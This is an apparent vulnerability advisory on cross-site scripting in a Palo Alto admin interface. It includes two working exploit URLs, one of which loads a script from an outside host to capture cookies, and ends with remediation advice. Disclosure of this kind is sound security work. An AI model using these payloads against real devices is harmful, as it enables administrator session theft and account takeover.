Discussion: 

A Stored Cross-Site Scripting (XSS) vulnerability was found within the Palo Alto interface.  By crafting a URL that includes XSS code it is possible to inject malicious data, redirect the user to a bogus replica of the real website, or other nefarious activity.  


Exploit: 
Single Line working-  https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&opasswd=&tpasswd=********&cpasswd=********&role=vsysadmin<SCRIPT>alert("0wn3d")</SCRIPT>

&admin-role=%5Bobject+Object%5D&bSubmit=O



WORKING FOR REDIRECT TO LOAD cookies into URL.

https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&opasswd=&tpasswd=********&cpasswd=********&role=vsysadmin<SCRIPT/XSS SRC="http://www.jeromiejackson.com/tryme.js";></SCRIPT>&admin-role=%5Bobject+Object%5D&bSubmit=O


Solution: 
A patch will be required from the vendor.  It is recommended a routine to sanitize user input be consistently implemented throughout the application to mitigate other such occurrences within the application.
